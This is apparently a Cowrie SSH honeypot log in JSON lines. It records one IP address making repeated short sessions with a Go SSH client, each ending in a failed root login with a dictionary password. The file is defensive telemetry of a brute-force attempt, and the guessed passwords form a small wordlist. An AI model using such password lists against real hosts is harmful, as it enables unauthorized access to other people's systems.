{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:40.219636Z","src_ip":"60.165.124.241","session":"b981f9170689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123@@","message":"login attempt [root/asd123@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:40.937535Z","src_ip":"60.165.124.241","session":"b981f9170689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:42.178241Z","src_ip":"60.165.124.241","session":"b981f9170689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46010,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aa079a6ea57","protocol":"ssh","message":"New connection: 60.165.124.241:46010 (10.17.0.5:22) [session: 9aa079a6ea57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:42.415460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:42.423967Z","src_ip":"60.165.124.241","session":"9aa079a6ea57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:42.663810Z","src_ip":"60.165.124.241","session":"9aa079a6ea57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masukaja","message":"login attempt [root/masukaja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:43.388916Z","src_ip":"60.165.124.241","session":"9aa079a6ea57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:44.631635Z","src_ip":"60.165.124.241","session":"9aa079a6ea57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49150,"dst_ip":"10.17.0.5","dst_port":22,"session":"47fc2e46d3e2","protocol":"ssh","message":"New connection: 60.165.124.241:49150 (10.17.0.5:22) [session: 47fc2e46d3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:44.878644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:44.897025Z","src_ip":"60.165.124.241","session":"47fc2e46d3e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:45.143079Z","src_ip":"60.165.124.241","session":"47fc2e46d3e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"930920","message":"login attempt [root/930920] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:46.104640Z","src_ip":"60.165.124.241","session":"47fc2e46d3e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:47.353619Z","src_ip":"60.165.124.241","session":"47fc2e46d3e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52730,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fae1715734c","protocol":"ssh","message":"New connection: 60.165.124.241:52730 (10.17.0.5:22) [session: 0fae1715734c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:47.580578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:47.585329Z","src_ip":"60.165.124.241","session":"0fae1715734c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:47.826984Z","src_ip":"60.165.124.241","session":"0fae1715734c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminadmin","message":"login attempt [root/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:48.547964Z","src_ip":"60.165.124.241","session":"0fae1715734c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:49.788873Z","src_ip":"60.165.124.241","session":"0fae1715734c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55784,"dst_ip":"10.17.0.5","dst_port":22,"session":"87d5ccb0a629","protocol":"ssh","message":"New connection: 60.165.124.241:55784 (10.17.0.5:22) [session: 87d5ccb0a629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:50.023526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:50.029091Z","src_ip":"60.165.124.241","session":"87d5ccb0a629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:50.267946Z","src_ip":"60.165.124.241","session":"87d5ccb0a629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootAdmin","message":"login attempt [root/rootAdmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:50.987319Z","src_ip":"60.165.124.241","session":"87d5ccb0a629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:52.228380Z","src_ip":"60.165.124.241","session":"87d5ccb0a629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58794,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd882981e30d","protocol":"ssh","message":"New connection: 60.165.124.241:58794 (10.17.0.5:22) [session: cd882981e30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:52.463016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:52.468527Z","src_ip":"60.165.124.241","session":"cd882981e30d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:52.710759Z","src_ip":"60.165.124.241","session":"cd882981e30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAAAaaaa1111","message":"login attempt [root/AAAAaaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:53.431723Z","src_ip":"60.165.124.241","session":"cd882981e30d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:54.676800Z","src_ip":"60.165.124.241","session":"cd882981e30d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33718,"dst_ip":"10.17.0.5","dst_port":22,"session":"af9a5c568894","protocol":"ssh","message":"New connection: 60.165.124.241:33718 (10.17.0.5:22) [session: af9a5c568894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:54.929982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:54.935214Z","src_ip":"60.165.124.241","session":"af9a5c568894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:55.182954Z","src_ip":"60.165.124.241","session":"af9a5c568894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pelikan","message":"login attempt [root/pelikan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:55.938195Z","src_ip":"60.165.124.241","session":"af9a5c568894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:57.188908Z","src_ip":"60.165.124.241","session":"af9a5c568894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36964,"dst_ip":"10.17.0.5","dst_port":22,"session":"019d9ee80225","protocol":"ssh","message":"New connection: 60.165.124.241:36964 (10.17.0.5:22) [session: 019d9ee80225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:57.435210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:57.439639Z","src_ip":"60.165.124.241","session":"019d9ee80225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:57.691446Z","src_ip":"60.165.124.241","session":"019d9ee80225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ahgf3487@rtjhskl854hd47893@#a4nC","message":"login attempt [root/Ahgf3487@rtjhskl854hd47893@#a4nC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:58.441968Z","src_ip":"60.165.124.241","session":"019d9ee80225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:59.693801Z","src_ip":"60.165.124.241","session":"019d9ee80225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40422,"dst_ip":"10.17.0.5","dst_port":22,"session":"56806d45fe11","protocol":"ssh","message":"New connection: 60.165.124.241:40422 (10.17.0.5:22) [session: 56806d45fe11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:59.920038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:59.924789Z","src_ip":"60.165.124.241","session":"56806d45fe11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:00.169409Z","src_ip":"60.165.124.241","session":"56806d45fe11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin01","message":"login attempt [root/admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:00.896284Z","src_ip":"60.165.124.241","session":"56806d45fe11","protocol":"ssh"}
